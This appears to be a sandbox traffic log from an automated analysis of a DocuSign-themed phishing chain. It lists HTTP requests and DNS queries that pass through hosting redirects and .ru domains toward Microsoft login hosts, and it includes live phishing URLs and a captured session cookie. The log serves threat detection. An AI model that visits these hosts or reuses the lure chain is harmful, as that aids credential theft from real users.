Source: global traffic	HTTP traffic detected: GET /m1/envelope/document/content/4086 HTTP/1.1Host: archive1.diqx8fescpsb0.amplifyapp.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m1/envelope/document/content/4086/ HTTP/1.1Host: archive1.diqx8fescpsb0.amplifyapp.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iframe-wrapper.html HTTP/1.1Host: pub-53c4ef7e378d42c99976378cc91a92e3.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icons8-loading%20(1).gif HTTP/1.1Host: pub-18adec023eb44c5da5725749a35761dd.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc7c490c93976e40/ds-logo-on-white.png HTTP/1.1Host: images.ctfassets.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5be974e/build/signer.css HTTP/1.1Host: cdn.hellosign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /imgs/1000px/freeware-license-terms-D834.png HTTP/1.1Host: templates.business-in-a-box.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc7c490c93976e40/ds-logo-on-white.png HTTP/1.1Host: images.ctfassets.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5be974e/build/a6d09f4028ea300af1bd.ttf HTTP/1.1Host: cdn.hellosign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://archive1.diqx8fescpsb0.amplifyapp.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.hellosign.com/5be974e/build/signer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /imgs/1000px/freeware-license-terms-D834.png HTTP/1.1Host: templates.business-in-a-box.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f1718227932057x822365466237625200/DOCU-60cafc67.png HTTP/1.1Host: meta-q.cdn.bubble.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f1718227932057x822365466237625200/DOCU-60cafc67.png HTTP/1.1Host: meta-q.cdn.bubble.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redirect?email=p8gtut%40dwuyn.io HTTP/1.1Host: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /U6OnAOL/ HTTP/1.1Host: zorx.xemitarnor.ruConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zorx.xemitarnor.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zorx.xemitarnor.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zorx.xemitarnor.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zorx.xemitarnor.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://zorx.xemitarnor.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9025c0217ef90f85&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9025c0217ef90f85&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: zorx.xemitarnor.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zorx.xemitarnor.ru/U6OnAOL/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRSbmRaY3hxTTdHZlR1NWM5NzJrZXc9PSIsInZhbHVlIjoiS2w5WWlxMGtqZVZvdm9pTWJjUjd3RWlQWGNjdUhURTRKVUNEbUNsRGQ4MUUxWExEZUJJSEdYYkNDNVVTd0dWbWxvbktQMDhJM3dMOWhOQkRTWUVvanFkeVFDQkxrajY2TmJHRDQ1enBCNUpuM0p2REJkbFZSdkIreWV0ZjlDUG8iLCJtYWMiOiI2NzAwOWIyYTZkYzhhNzdjMzdmZmFmZjhiNTEwYWVjY2E4NzNhZDJlM2I0YjM0YjI5NmVhMjljOWNjZGYzNTZjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im42NUpFWllMd1hjUm1zMjlUY1NXOFE9PSIsInZhbHVlIjoiQnBtei9nNU5kbzVVb1p0djZCUDZrbGIxMzlKM3Y5MmFDQU5IWnNXTGl4WGpGM09BSTl5K0Q2MVRKaUI4UGN3UmpzYzNSYm0yWDBGSnVpMnlzMWtKWmlzQ0dkK0JLMFN4ODdLQUV0U3ZCcE5WUkFKODRodUhpSFllN3p3ckFtcFYiLCJtYWMiOiI0MDIzNmUzNDM5MTIxYmRmYWYwOTYyOWViOGI3YTBmNzA4NGE4NWFlNmM2YzMyM2NmZDBiMGExMzQ4MjkxNGU5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/9025c0217ef90f85/1736942901056/73dd5e214d07ff57fbbe87280bec79369d3212f0113176e6902b0fae2bbfbe6f/XEmwaJ4Z7VHJmsA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9025c0217ef90f85/1736942901057/9199S0QpC3pAwX6 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9025c0217ef90f85/1736942901057/9199S0QpC3pAwX6 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jbqJHqVDGtkTNppzzzrWOcAESIPGAYITGGXSAECQNOFGRUOWRCMEYDKYWRMTMDYOCOOFEHAUDXBMBHH HTTP/1.1Host: yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://zorx.xemitarnor.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zorx.xemitarnor.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jbqJHqVDGtkTNppzzzrWOcAESIPGAYITGGXSAECQNOFGRUOWRCMEYDKYWRMTMDYOCOOFEHAUDXBMBHH HTTP/1.1Host: yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: eventor.orienteering.asn.au
Source: global traffic	DNS traffic detected: DNS query: www.livelox.com
Source: global traffic	DNS traffic detected: DNS query: archive1.diqx8fescpsb0.amplifyapp.com
Source: global traffic	DNS traffic detected: DNS query: cdn.hellosign.com
Source: global traffic	DNS traffic detected: DNS query: images.ctfassets.net
Source: global traffic	DNS traffic detected: DNS query: cdn-icons-png.flaticon.com
Source: global traffic	DNS traffic detected: DNS query: pub-18adec023eb44c5da5725749a35761dd.r2.dev
Source: global traffic	DNS traffic detected: DNS query: pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev
Source: global traffic	DNS traffic detected: DNS query: templates.business-in-a-box.com
Source: global traffic	DNS traffic detected: DNS query: meta-q.cdn.bubble.io
Source: global traffic	DNS traffic detected: DNS query: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: zorx.xemitarnor.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

